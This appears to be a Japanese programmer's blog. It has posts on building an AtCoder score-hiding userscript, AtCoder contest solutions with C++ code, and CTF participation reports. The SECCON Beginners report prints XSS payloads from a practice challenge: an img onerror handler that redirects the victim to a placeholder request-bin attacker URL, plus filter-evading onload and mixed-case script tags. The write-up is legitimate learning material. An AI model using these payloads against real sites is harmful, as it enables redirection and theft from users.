task4233のめも

書きたいことをつらつらと

AtCoder向けのUserscriptを書いた話

競プロ AtCoder 制作記録

はじめに

私は春に競プロを布教していた人です。

この記事は「初心者でもとりあえずやってみたらなんとかなったよ」ということを伝えたくて書きました。

とはいえ、何の根拠もなく語っていても「は？」と思われるので、競プロサイトであるAtCoder向けのUserscriptを書いた時の話をします。

かしこまった記事は書けないので、ですます調はここら辺で終わりにして気楽に書いていこうと思います。

語句の説明

  • 競プロ

→ 競技プログラミングのこと。与えられた問題を「速く、そして正確に」解くパズルのようなもの。

→ オンラインで参加できる競プロのサイト。月に数回コンテストが開かれる。社長が面白い。

  • Userscript

→ Wikipediaによると
「Userscriptは通常JavaScriptで書かれ、Webページを編集するソースコード」
などと書かれている。ChromeではTempermonkey、Firefoxではgreasemonkeyによる拡張機能により動作可能。Userscript自体はgreasyforkというサイトで配布されている。

インストールに関する記事は以下を参照されたい。 qiita.com

もくじ

作ったもの

こちら。 AtCoderScoreHider

説明はリンク先の概要を参照されたい。

なぜ作ったのか

結論から言うと、私が欲しい機能だったからだ。

というのも、AtCoderの問題では、以下の画像のように問題ごとに配点が表示される。 f:id:task4233:20181203232134p:plain

配点とは厄介なもので、問題を解く前からその問題の難しさを無意識のうちに決めてしまうのだ。
(RPGで巨大な敵を見ると、戦わずして「逃げる」を選択してしまいそうになるアレだ。)

それが原因で、精進*1が進んでいなかったそんな夏休み。ある日Twitterを眺めていると、こんなツイートが流れてきた。

その内容は、配点の部分の要素を"???"で置換するというもの。「これだ！」と思い、本人にコンタクトを取りアイデアを使わせていただいた訳だ。

こうした流れで、
AtCoderのページで表示される配点を"???"で置換するスクリプト
を作ることを目的として開発を始めた。

どうやって作るか - 計画編

さて、アイデアの許可を得て、作るものの方針も立った。

しかし、ここで1つの問題に突き当たる。

「これ、どうやって作るんだ？」

その当時、私はUserscriptなんて触ったこともなかった。

なぜアイデアの許諾など乞うてしまったのだ、アホか？

と思いつつも、埒が明かないので既存のUserscriptを観察して構造を理解することにした。

そこで参考にしたコードのうち、印象に残ったのは以下の3つのコードだ。

1. AtCoderVirtualContestNowColorize

Author: Kaito Tateyama

スクリプト作者による説明
AtCoder Virtual Contestで現在開催されているコンテストに色付けをします。

コードがシンプルで私のUserScriptの基本形になった。初心者にとってシンプルなコードはありがたい。

2. AtCoderPerformanceColorizer

Author: satanic0258

スクリプト作者による説明
AtCoder(betaサイト)のコンテスト成績表におけるパフォーマンス値・レート値に色付けを行います．

コード中の perfColorizeMode , rateColorizeMode を指定することにより色づけ方法を変更することができます．

色付けモードをユーザ自身が編集できるという発想が印象的だった。Userscriptはユーザがダウンロードして使用するので、ユーザがコードを編集するというのは盲点だった。

3. ac-score-table-ja

Author: rsk0315

スクリプト作者による説明
AtCoder（beta.atcoder.jp）の日本語版で配点表を表示します．

この方のコードはコメントが本当に面白かった。

例えば、

// この要素が確実に目的のものを指しているかがアレなのですが，まぁ大丈夫でしょう var flag = $($('.dropdown-toggle')[0]).children()[0].src;

や、

// XSS に対してアなはずなんですが，AtCoder 社を信じるみたいなことをします

などがある。いわゆるコメント芸というやつだ。

この方はAtCoderScoresの作者でもあるので、そちらのソースコードも覗いてみると面白いと思う*2。

他にも参考にしたコードはあるが、面倒なのでこの辺でやめておく。



さて、話を戻そう。

ソースコードの観察の結果、表示されるWebページのHTMLを取得して(1)、要素を書き換えたり追加したり(2)するという手法を取っていた。この仕組みが分かったらこっちのものなので、以下のようなコーディングの手順を立てた。

  1. 配点を隠したい部分の要素の取得
  2. 任意の隠したい部分に対する、要素の上書き

以上。手順を書くほどもない単純な作りだ。

これだけで少し満足した私は、この手順に従ってコーディングをすることにした。

どうやって作るか - コーディング編

さて、手順が立ってしまえば競プロerの私にとってこれは唯の問題に過ぎない。

今回の私のスクリプトは短めなので、計画していた時の方がよっぽど大変だった気がする。

1. 配点を隠したい部分の要素の取得

先ほどのコードを見るとJavaScriptかjQueryの2択だったが、jQueryは詳しくなかったので素のJavaScriptで書くことにした。編集したい部分の要素はdocument.querySelectorAll()で取得できるので、やるだけだった。

2. 任意の隠したい部分に対する要素の上書き

要素は取得出来たし、文字列を代入するだけ。

ということで以下のようなコードを打ち込み、謎の自信を身に纏いつつEnterキーを「ッターン」と叩いた。

{取得した要素}.innerText = {上書き用文字列};

f:id:task4233:20181204102811p:plain

変化していない。

Chromeのデベロッパーツールで確認すると、取得していた要素はnodeListで、大きさが2のListだったようだ。

{取得した要素}[0].innerText = {上書き用文字列};

として解決した。何のためにわざわざ同じ要素を2つも用意しているんだろうか。

f:id:task4233:20181204234001p:plain

何はともあれ、原因はわかったのでnodeListの扱いに注意しつつ、残りの実装を終わらせた。

公開にあたって

ひとまず、目的としていた部分の目標は達成できたので、書いたUserscriptを公開することにした。

1. 公開するまでにやったこと

公開にあたり、以下の3つのことに注意した。

  1. 可能な限り簡潔にかくこと
  2. 見て意味を理解しやすい変数名を用いること
  3. 理解の助けとなるコメントを書くこと

これらは、リーダブルコードに書かれていた内容を参考にした。

結果的にversion1.0.0のコードはかなり読みやすいコードになっていると自負している(まぁコード量が少ないだけなのですが)。

何はともあれ、コード自体は完成したので、公開することになった。

しかし、公開するにあたり、スクリプト名やバージョン等を書く必要があったので、とりあえず埋めて無事完成した。

スクリプト名は、AtCoderScoreHinder。この名前は数時間で変更される訳だが、その話はまた後で。

2. 公開してからやったこと

さて、公開してから以下のようなコメントが来た。

おっしゃる通りです。凄く恥ずかしかった。ホントに。そして、指摘されてから10分程度でリネームした。

そして改善へ

このスクリプトを使用していて、色々と気になったので、以下の2つの改良を加えた。

1. リファクタリング

lambda式を用いることで、可読性のコードに書き換えた。

具体的には、関数名をhasError()やisPrivatePage等に書き換える等である。

また、コメントや宣言等をまとめることで、修正しやすいコードにした。

2. ユーザによる編集機能

このUserscriptは初期設定で配点を"???"に置換する。しかし、他の文字列に変えたい人がいるかもしれないと考え、置換文字列を変更できるようにした。

その他、置換するページをbool型の変数で定義することで、置換するか否かをユーザが編集できるようにした。

具体的には以下のような部分だ。

// ---------------------------------------------------------------------------------------------
// 変更したい場合はここをいじってください
var display_score = '???';//            点数の代わりに置換される文字列
var display_last_status = true;//     過去の提出コードの点数を表示するか否か
var problem_page = true;//           問題ページで表示するか否か
var top_page = true;//                  トップページで表示するか否か
var source_code_page = true;//    ソースコードページで表示するか否か
var submitted_list_page = true;//   提出コード一覧ページで表示するか否か
// ---------------------------------------------------------------------------------------------

今回の制作で感じたこと

制作をする上で感じたことは、計画を立てることが大変だったということだ。

競プロでは、そもそも問題が与えられるのでContestants*3はコードの実装方針とコーディング部分のみを意識すれば良い。

しかし、今回のスクリプトに関してはそうはいかなかった。なぜなら、問題が与えられないからだ。更に言えば、問題を決めるのは自分自身でどのように作るかというのも自分に委ねられる。そのため、ここが難しい部分で時間も要した。

ただし、逆に言えば計画が立ってしまえば残りの作業は楽だということだ(精神的に楽ということでコーディングが楽ということではない)。実際に、今回は計画を立てた結果、かなり楽にコードを実装することが出来た(単純に仕様が簡単だったのも理由の1つだが)。

何らかの開発をする時にこの事に気づかず、行き当たりばったりのコードを書いて詰むというパターンも無くはないと思う。そのため、今後は何をどのような順番で実装するのかを決めてからコーディングをするのも手かなと感じた。

おわりに

歪な構成で読みにくかった部分もある中、この記事を最後まで読んでくれたことに感謝する。何も考えずにこの記事の執筆を決めた訳だが、なんとかなったので良かった(真似しないでください)。

制作物を作り上げることは大きな達成感があって良いので、また何か作る機会があれば作ってみたい。

*1:過去問を沢山解くこと

*2:サービス自体は素晴らしいもので、いつも使わせてもらっている

*3:問題を解く人のこと

SECCON Beginners 名古屋 参加記

参加記録 CTF

はじめに

この度、SECCON Beginners 名古屋に参加してきた。学びが多かった上に楽しかったので参加記を書こうと思う。

きっかけ

Twitter。
色々あって東京大会には出られず名古屋大会に参加することに。

前日までにしたこと

やったことは以下の2つ。

  1. Kali LinuxのGraphical install
    Arch Linuxと比べたら恐ろしく簡単だった。
    こちらの記事に従ってインストールすると簡単だった。
    https://freepc.jp/kali-linux

  2. 配布資料の内容確認
    事前に配布されていた資料を確認した。
    非常に分かりやすく、理解の助けになった。

当日(会場入り前)

名古屋市内を散策。イチョウが綺麗だった。
名古屋城にも行ったが、入れなかった。

当日(イベント)

CTFについての講話[れっくすさん]

  • CTFにはジャンルがある。
    • Web
    • Crypto
    • Reversing
    • Pwnable
    • Programming
  • 全強はあまりおらず、いくつかの分野でのエキスパートになる人が多い。
  • 「勉強」するのではなく「楽しむ」ことが成長への近道。

Crypto[れっくすさん]

暗号を解読してFlagを獲得する分野。

数学要素が多めだと感じた。

以下、講義概要。

  • What's 'Crypto'?
  • 暗号に関する基礎知識
  • RSA暗号方式の仕組み
    • 暗号化・復号の演算について
    • CTFで用いられる脆弱なRSAの紹介
  • 暗号全般の話
    • 乱数生成に対する攻撃
    • 暗号問題を解くときに使用するツールの紹介

Web[ゆったんさん]

個人的に最も興味のあった分野。

攻撃が視覚化されるので楽しいね。

以下、講義概要。

  • What's 'Web'?
  • XSSについて
    • Webサイトへのアクセスの流れ
    • XSSの仕組みと事例
  • XSSの実践
    • 反射型XSS(一時的なXSS)
    • JavaScriptのDOM操作を用いた攻撃
    • 攻撃者サーバについて(requestsbin)
    • 攻撃対象にXSSを踏ませる攻撃

Rev[みむらさん]

アセンブリ言語は強い。

逆アセンブルしてコードを読むって面白くないですか？面白いですね。

以下、講義概要。

  • バイナリファイルについて
    • OSごとのファイル形式判断
    • xxdコマンド及びfileコマンドの紹介
  • アセンブリ言語(x86)でのプログラミング
    • Intel記法のアセンブリプログラムの読み方
    • 加算/減算/乗算/除算の命令紹介
    • 値の比較命令とジャンプ命令の紹介
    • ループの実装(比較命令とジャンプ命令の混合)
    • スタックと関数の仕組み
  • CTFに向けて

CTFオリエンテーション

[Misc]

Welcome

やるだけ。

Calc

やるだけ。

私は脳死で暗算をしましたが、もっと利口な方法があると思う。

[Web]

Do alert

講義資料に沿って書いてあることをやるだけ。

ASカンパニー

講義資料に沿って書いてあることををやるだけ。

AOカンパニー

解法が3つある。

  • 解法1(私の解法) 講義資料で紹介されていた、XSS-Challengeで紹介されていた方法を用いた。
<img src=“hoge” onerror=“document.location = “<request bin url>”;”

を書き込んであげると、 onerrror 以下のスクリプトが実行される。

  • 解法2(他の方の解法) onloadでスクリプトを実行させる手法。
<body onload=alert();/>

で実行できるので、 残りは講義資料に沿って解ける。

  • 解法3(スタッフの方の解法) 大文字と小文字を混在させて実行させる手法。
<ScRiPt>alert();</ScRiPt>

で実行できるので、残りは講義資料に沿って解ける。

解法が複数あるのは好き。

Snippets

解けなかった問題。

以下、スタッフの方の解法概要。 1. とりあえずアカウントを作成してログインする。 2. ログイン後、add snippetsで実行したいスクリプトを書いておく。 3. 2.で書いたスクリプトを実行するスクリプトを書く。

登録したsnippetはraw textが見れるので、raw textの部分なら実行できるのでは？と考えることが突破のコツらしい。

難しかった。

[Crypto]

Go Fast

講義資料に書かれているPythonコードを実行するだけ。

Factoring

素因数分解をやるだけ。
 反則かもしれないが、こちらのサイトを利用した。

ja.numberempire.com

このサイトで因数分解した後に、足し算をした。

SimpleRSA

講義中のRSA暗号の解法をやるだけ。

Find primes

分からなかった。 解法を聞き出せなかったので、他の方の記事で紹介されることを待つしかなさそう……

[Rev]

Find it.

catコマンドで覗くと、ctf4b{}という感じのflagがある。

Read it.

分からなかった。 解放を聞き出せなかったので、他の方の記事で紹介されることを待つしかなさそう……

Disassemble it.

解けなかった。 IDAで起こしてループ回数0x7FF回
SECCONを入力することはわかったが、そのやり方が分からなかった。

以下のようなやり方があったようだ。

  1. echo のループ
    echoをfor文で実行してやると良いらしい。

  2. シェルスクリプトで解く
    シェルスクリプトでechoをループさせながら実行すると良いらしい。

  3. Excelで解く
    バイナリを解析して、式の意味を理解してExcelに起こすらしい。

仕組みさえ分かればExcelでも解けるという例であり、面白い問題だった。

結果

Misc(2/2), Web(3/4), Crypto(3/4), Rev(1/3)をACして、 1300点で1位だった。

(まさか1位になれると思っておらず、スクショは撮り忘れた)

講義資料に載っていた部分を参考にしただけなので、本当にラッキーとしか言いようがない。

Disassemble it.のように、バイナリをしっかりと読んで意味を理解するような問題が解けたら良かった。IDAツール等を駆使して、擬似コードに起こせるようになりたいね。

交流会

参加者の方々とスタッフの方々とお話ができた。

話していて感じたのが、以下の2つ。

  1. つよいひとは口を揃えて「全く分からん」や「詳しくない」と言うこと
  2. 本人の好きな分野を話している時は、本当に楽しそうに話してくださること

「好きこそ物の上手なれ」とはよく言ったもので、本当にその通りだと感じた。

感想

つらつらと書いてきたが、この記事を一言でまとめると
「CTFは楽しい」
ということだ。

解けないと辛いが、解法を発見したり理解した時の楽しさはやはり良い。
競プロもそうだが、勉強としてやるのではなく趣味として長く続けられると良いな。

最後に、SECCON Beginnersの運営スタッフの方々および会場設営に従事してくださった方々に感謝申し上げます。 本当にありがとうございました。お疲れ様でした。

AGC027 - 参加記録

AtCoder 参加記録 競プロ
もくじ

問題リンク

Tasks - AtCoder Grand Contest 027

はじめに

この記事では、今回の参加記録が書かれています。

上にもくじがあるので、ご活用ください。

結果

1完で379位でした。

f:id:task4233:20180916115434p:plain

最近速解きが顕著になっているなぁと改めて感じます。

以下、解いた問題と解説です。

A -　Candy Distribution Again

問題

N人の子供にx個のお菓子を配る。

i人目の子供はa_i個のお菓子を貰うと喜ぶ。

この時、喜ぶ人間の最大値を求めよ。

制約

  • 入力は全て整数

  • 1 ≦ N ≦ 100

  • 1 ≦ x ≦ 109

  • 1 ≦ a_i ≦ 109

解説

ソートして小さい順に配って行き、その都度答えを1ずつ加えていく。

ぴったり配りきれたら、さらに1加えれば良い。

提出コード

Submission #3198862 - AtCoder Grand Contest 027

感想

順位表を見てC問題にシフトしたが、解けなかった。

B, C問題は解き直す。

CyberRebeatCTF - WriteUp

参加記録 CTF
もくじ

問題リンク(ログインしてください)

https://cyberrebeat.adctf.online/en/contests/2/problems

はじめに

この記事では、今回の参加記録および解けた問題の簡単な解説が書かれています。

上に目次があるのでご活用ください。  

結果

1677点で72位でした。

結果(Binary〜Programming)

Binary Crypto Exercise Misc Programming
0/3 1/3 1/1 1/2 2/3

f:id:task4233:20180909160921p:plain

結果(Recon〜Web)

Recon Stegano Trivia Web
2/3 1/3 2/2 2/3

f:id:task4233:20180909160925p:plain

解説

Crypto

Rotation

問題文からシーザー暗号らしきことがわかります。

しかし、単純にずらすだけでは先頭の文字列がCRCTFではありません。

数字の部分だけずらしてCRCTFにすればFLAGを得られます。

Excercise

やるだけです。

Misc

Readme

f:id:task4233:20180909163600j:plain

最初の文がCAN YOU READ JAPANESE?と読めます。

したがって、それに従い最後の文を訳せばFLAGを得られます。

Programming

Calculation

提示されたコマンドを叩くと四則演算の問題が出てきます。

それを単純に解いて答えていけばFLAGを得られます。

Prime Factor

提示されたコマンドを叩くと問題が与えられます。

問題の内容は数字を素因数分解して最大の素因数を返すというものです。

エラストテネスの篩を用いて素因数分解分解してmaxを返す関数を作れば良いです。

単純に解いていけばFLAGを得られます。

Recon

Tweet

Twitterのアカウントを見ると以下のツイートからFLAGを得られます。

CyberRebeatScripts

GitHubのhistoryから差分を見るとFLAGを得られます。

github.com

Stego

Secret.pdf

与えられたpdfを確認して、文字列をコピーするとFLAGを得られます。 f:id:task4233:20180909170145p:plain

Trivia

Monero

Monero関係の事件を調べれば問題が答えがすぐに得られました。

xn--eck3a9bu7culw30roe4arcdo69l1ja456a.xyz

Crossword

問題を解くだけです。 ググれば解けます。 調べている途中で答えが予測できたので、それをFLAGとして提出しました。

f:id:task4233:20180909171103j:plain

Web

White Page

hidden要素を消してログインすればFLAGが得られました。

f:id:task4233:20180909171418p:plain

Let's Tweet

投稿してリンクをPOSTするとFLAGが得られる。

感想

初の常設でないCTFでした。

簡単な問題は大分解けた気がします。

ProgrammingのVisual Novelsは手入力で解けたらしいので、もう少し粘っていれば解けたのかも。残念。

Binaryはほとんど解けなかったので、他の方のWriteUpを見てしっかりと復習します。

ABC109 - 参加記録

参加記録 競プロ AtCoder
もくじ

問題リンク

Tasks - AtCoder Beginner Contest 109

はじめに

この記事では、今回の参加記録およびABC109の問題・解説が書かれています。

上にもくじがあるので、ご活用ください。

結果

全完で57位でした。

f:id:task4233:20180909115202p:plain

なぜかエスパーで解法が降ってきたので速く解けたのだと思います。

以下、各問題と解説です。

A - ABC333

問題

1以上3以下の整数A, Bについて、A \times B \times Cが奇数となるような1以上3以下の整数Cが存在するか判定せよ。

制約

  • 入力は全て整数

  • 1 ≦ A, B ≦ 3

解説

以前のABCでも似たような問題が出ていました。
(問題名を忘れました。申し訳ないです。)

積が奇数となるのはかけられる数が全て奇数の時なので、
A, Bが共に奇数の時に「Yes」それ以外の時に「No」を出力すれば良いですね。

提出コード

Submission #3151300 - AtCoder Beginner Contest 109

B - Shiritori

問題

N個の単語について、以下のルールを満たしている時に「Yes」を、そうでない時に「No」を出力せよ。

ルール

  • 同じ言葉を2回以上使っていないこと。

  • 1つ前の最後の文字と今発言する最初の文字が同じであること。

制約

  • 2 ≦ N ≦ 100

  • w_{i}は英小文字からなる1以上10以下の長さの文字列である。

解説

制約からN2でも問題なさそうなので、ルールを守っているかを愚直に確認すれば良いですね。

提出コード

Submission #3152586 - AtCoder Beginner Contest 109

C - Skip

問題

数直線上にあるN個の都市があり、 i番目の都市は座標x_{i}にある。

あなたはある整数Dを設定すると以下の移動が行える。

  • 1: 座標yから座標y + Dに移動する

  • 2: 座標yから座標y - Dに移動する

ここで、あなたが座標Xから出発した時の全ての都市を回れるDの最大値を求めよ。

解説

この問題はごちゃごちゃしていますが、
重要なのは「座標yから座標y ± Dにのみ移動出来る」ということですね。

例えば、1と5という座標があったとき、

この時のDの最大値は4ですね。

この例を観察すると「4」という数字について、
「5 ≡ 1 (mod 4)」すなわち「5 % 4 == 1 % 4」という性質があり、
「座標間の距離についてDを法として合同(mod D)」であることが分かります。

この問題ではDの最大値を求めるため、
各点との距離の最大公約数を求めれば「座標間の距離についてDを法として合同(mod D)」を満たし、かつ最大のDを求められますね。

したがって、各点間の距離のgcd(最大公約数)を取れば良いです。

余談ですが、RADの最大公約数って曲いいですよね。

提出コード

Submission #3153766 - AtCoder Beginner Contest 109

D - Make Them Even

問題

H \times Wのマス目について、マス(i, j)にa_{i,j}枚のコインが置かれている。

以下の操作を何度でも行える時、偶数枚のコインが置かれたマスの数を最大化せよ。

操作

  • 選んだことのないマスのコインを1枚選び、そのマスの上下左右のマス1つに移動する

制約

  • 入力は全て整数

  • 1 ≦ H, W ≦ 500

  • 0 ≦ a_{i, j} ≦ 9

解説

各マスの数をmod 2で考えれば良いです。

言い換えれば、2進数の最下位の数にのみ注目すれば良いです。

なぜなら、下2桁以上はどのような数であろうと必ず偶数になるからです。

したがって、全てのマスを% 2で置き換えて以下のように操作すれば良いでしょう。

  • (見たマスの枚数 % 2) が「1」である。

    • 見たマスが右下の端である(座標が(H, W)のとき)。

      • スルー。

    • 見たマスが右端である(座標が(*, W)のとき)。

      • そのマスのコインを下に移動し、下のマスの枚数を+1する。

    • それ以外

      • そのマスのコインを右に移動し、右のマスの枚数を+1する。

  • (見たマスの枚数 % 2)が「0」である。

    • スルー。

ジグザグ解いているContestantもいましたが、そちらの方が良いんでしょうかね？

提出コード

Submission #3156056 - AtCoder Beginner Contest 109

感想

今回は上手くいったので満足しています。

次回のAGCもうまいこと行くと良いな。

それと現在開催中のCRCTFですが、全完チームはやはり凄いなぁという気持ちです。

ハリネズミ本を買おうかどうか悩んでいるのですが、毎回Amazonカードを買うのを忘れて帰宅してしまうんですよね。

ARC102 - 参加記録

参加記録 AtCoder 競プロ
もくじ

問題リンク

Tasks - AtCoder Regular Contest 102

はじめに

結果

今回は1完で594位だった。

f:id:task4233:20180902102249p:plain

1完を目的としていたので、それは達成できて良かった。

あと2分速く解けていれば水色パフォだった……

C - Triangular Relationship

問題

問題リンク →　

C - Triangular Relationship

考察と解法

a + b, b + c, c + aが全てKの倍数であることから、
(a + b) % K=(b + c) % K=(c + a) % K = 0 - (1) がわかる。

さらに、aを固定すると、
(a + b) % K = 0 より b % K = (K - a) % K. - (2)
(c + a) % K = 0 より c % KK = (K - a) % K. - (3)

(1), (2), (3)より、
(b + c) % K = (((K - a) % K) \times 2) % K) = 0
を満たしていればa + b, b + c, c + aが全てKの倍数であることを満たす。

そして、(2),(3)を満たすようなb, cは余りが (K - a) % Kとなるものなので、その個数はそれぞれ (N + K + a) / Kである。

最後に、aを1からNまで回すと答えが導出できる。

以下、提出コード。

Submission #3116072 - AtCoder Regular Contest 102

D - All Your Paths are Different Lengths

問題

問題リンク →　

D - All Your Paths are Different Lengths

考察

頂点数がN≦20, L≦ 106 であるから220 が関連していそうなことは見通しがついた。

ただし、実際にグラフを作ってみると、この解法だと頂点数が21無ければならず、辺の数が足りないことに気づく。

さらに、大きい方の重みから作っていけば辺の数を減らしていくことができそうだが、明らかに足りないことにも気づく。

ここでARC終了。

感想

1完できて良かったが、Cはもう少し速く解ければ良かったかな……

Dもただ重みをつけるだけでなく、重みのつけかたを工夫する必要があった。

逆に言えばもう少しでACできそうだったので、次こそDを解きたい。

ABC106 - 参加記録

参加記録 競プロ AtCoder
もくじ

問題リンク

Tasks - AtCoder Beginner Contest 106

はじめに

この記事では、各問題の考えの流れが大まかに書かれている。 後述するが、3完だったためD問題のみ少し深めに書いた。

問題へのリンクは上の目次等を活用してほしい。

結果

今回は3完2WAで788位だった。

f:id:task4233:20180819112825p:plain

最近のコンテストはダメダメなので、悲しくなってくる。

それはさておき、改めて問題を見直してみると双子コンとしてはそこまで邪悪でなかったように感じた。

このコンテストは全完したかった……

問題

A - Garden

算数の問題。
(A - 1) * (B - 1) で、解が求められる。

ちなみに、灰色の部分の面積は
A * B - (A - 1) * (B - 1) と書くとバグが少なそう。

B - 105

「N以下の奇数oに対して、約数をちょうど8つ持つoの数を求めよ」という問題。

「奇数oが約数をちょうど8つ持つこと」は、
「\sqrt{o}以下に、oを割り切れる数がちょうど4つ存在すること」と同義である。

したがって、oという奇数をforループで回し、
\sqrt{o}までで割り切れる数を数えるために更にforループで回すので、
O(N\sqrt{N})で解くことができた。

C - To Infinity

問題を見て、非常に大きな回数だけ変化することから、 K文字目までに1があるか否かを判定すれば良いということはすぐにわかった。

ただし、K文字目までを探索範囲にしてしまうと範囲外アクセスをしかねないので、右端の要素はstd::max(K, S.size())とした。

D - AtCoder Express 2

ACできなかった問題。
少し詳しめに書く。

問題文

N個の都市とM本の電車が存在している。
M本の電車のうちの電車iはL_iからR_iの閉区間を走っている。
ここで、都市番号pと都市番号qが与えられた時、走る区間が完全に含まれる列車の本数、
言い換えればp_i ≦ L_jかつR_j≦q_iが成立するような列車の本数について、Q個の質問にそれぞれ答えよ。

制約

  • 1 ≦ N ≦ 5 \times 102
  • 1 ≦ M ≦ 2 \times 105
  • 1 ≦ Q ≦ 1 \times 105
  • 1 ≦ L_i ≦ R_i ≦ N (1 ≦ i ≦ M)
  • 1 ≦ p_i ≦ q_i ≦ N (1 ≦ i ≦ Q)

方針決め

厄介なのは、「1 ≦ Q ≦ 1 \times 105」であること。
すなわち、クエリを受け取ってからできる操作は高々「102〜103程度」しかないということである。

したがって、事前に与えられたデータに処理を加えて、O(1)からO(103)程度で解を求められるようにする必要がある。

事前に行うデータ処理の方針を立てる

前処理の1つとして、累積和を取るという方法がある。
累積和を取れば、O(1)で区間[p_i, q_i]に含まれる列車の本数を求めることが可能となる。

まず、累積和を取る下準備として二次元配列d[MAX_N][MAX_N]を用意する。
各要素の意味は、
d[列車jの停車駅の左端 L_j ][列車jの停車駅の右端 R_j ] である。

そして、この配列の累積和を取っていく。
累積和の取り方については、親切にも問題文にヒントが書かれていた。
それは、

都市 p_iから都市q_iまでの区間に, 走る区間が 完全に含まれる 列車の本数.
言い換えれば, p_i ≤ L_jとR_j ≤ q_iが両方成りたつような列車jの本数.

という部分である。

ここから、累積和の取り方は、

  • L_jについて、前に積み上げる
    (なぜなら、L_jがp_i ≤ L_jを満たしているとき、同時に L_j+1 もp_i ≤ L_j+1を満たしているため)

  • R_jについて、後ろに積み上げる
    (なぜなら、R_jがR_j ≤ q_iを満たしているとき、同時にR_j-1もR_j-1 ≤ q_iを満たしているため)

という方針が立つ。

実装する

以上の内容を実装すると、以下のようになる。

#include <bits/stdc++.h>

using namespace std;

#define FOR(i,a,b) for(int i=(int)a;i<(int)b;++i)
#define RFOR(i,a,b) for(int i=(int)b-1;i>=(int)a;--i)
#define REP(i,n) FOR(i,0,n)
#define RREP(i,n) RFOR(i,0,n)

void CINT(){}
template <class Head,class... Tail>
void CINT(Head&& head,Tail&&... tail) {
  cin >> head; CINT(move(tail)...);
}
#define CIN(...) int __VA_ARGS__;CINT(__VA_ARGS__)

const int MAX_N = 575;

// d[l][r]
int d[MAX_N][MAX_N];

int main()
{
  cin.tie(0);
  ios::sync_with_stdio(false);

  CIN(N, M, Q);
  REP(i, M) {
    CIN(L, R);
    L--; R--;
    d[L][R]++;
  }

  // 後ろから前に積み上げる(iはNから0に下がっていく)
  RREP(i, N + 1) {
    REP(j, N + 1) {
      d[i][j] += d[i + 1][j];
    }
  }

  // 前から後ろに積み上げる(jは0からNに上がっていく)
  REP(i, N + 1) {
    REP(j, N + 1) {
      if (j > 0) {
    d[i][j] += d[i][j - 1];
      }
    }
  }

  REP(qi, Q) {
    CIN(p, q);
    p--; q--;
    cout << d[p][q] << endl;
  }

  return 0;
}

別解法(BIT)

BITを二次元で持つことでもっと簡単にかける。
BITについては蟻本やslideshareを漁れば良いと思う。

以下、ソースコード。

#include <bits/stdc++.h>

using namespace std;

#define EACH(i,a) for (auto& i : a)
#define FOR(i,a,b) for(int i=(int)a;i<(int)b;++i)
#define RFOR(i,a,b) for(int i=(int)b-1;i>=(int)a;--i)
#define REP(i,n) FOR(i,0,n)
#define RREP(i,n) RFOR(i,0,n)
#define ALL(a) (a).begin(),(a).end()
#define debug(x) cerr << #x << ":" << x << endl;
#define OK(ok) cout << (ok ? "Yes" : "No") << endl;
typedef long long ll;

void CINT(){}
template <class Head,class... Tail>
void CINT(Head&& head,Tail&&... tail) {
  cin >> head; CINT(move(tail)...);
}
#define CIN(...) int __VA_ARGS__;CINT(__VA_ARGS__)
#define LCIN(...) ll __VA_ARGS__;CINT(__VA_ARGS__)
#define SCIN(...) string __VA_ARGS__;CINT(__VA_ARGS__)

const int INF = 1e9 + 1;
const int MOD = 1e9 + 7;
const int MAX_N = 1e5 + 1;

template< class Abel > class BIT {
public:
  BIT(int _n) : N(_n) { init(); }

  void init() {
    // [1, N]の範囲なので、+1する必要がある
    bit.clear();
    bit.resize(N + 1, 0);
  }

  void add(int i, Abel x) {
    while (i <= N) {
      bit[i] += x;
      i += i & -i;
    }
  }

  Abel sum(int i) {
    Abel sm = 0;
    while (i > 0) {
      sm += bit[i];
      i -= i & -i;
    }
    return sm;
  }

  Abel getSum(int _x, int _y) {
    return sum(_y) - sum(_x - 1);
  }

private:
  int N;
  vector< Abel > bit;
};



int main()
{
  cin.tie(0);
  ios::sync_with_stdio(false);

  CIN(N, M, Q);
  vector< BIT< int > > bit(N + 1, BIT< int >(N + 1));

  REP(i, M) {
    CIN(L, R);
    REP(j, L + 1) {
      bit[j].add(R, 1);
    }
  }

  REP(qi, Q) {
    CIN(p, q);
    cout << bit[p].sum(q) << endl;
  }
  
  return 0;
}

感想

コンテスト中のコードを見てきたが、方針は正しかったのに、実装でiとjの添字を逆にしたり、ループの向きを逆にしたりしていた。

先ほど見たときは割とすぐに見つけられたので、コンテスト中の焦りで目が曇ったのだろうと思う。

本番に弱いというよりかは、場数が少ないことによるものだと思うので、今後は積極的に海外コンにも参加しようと思う。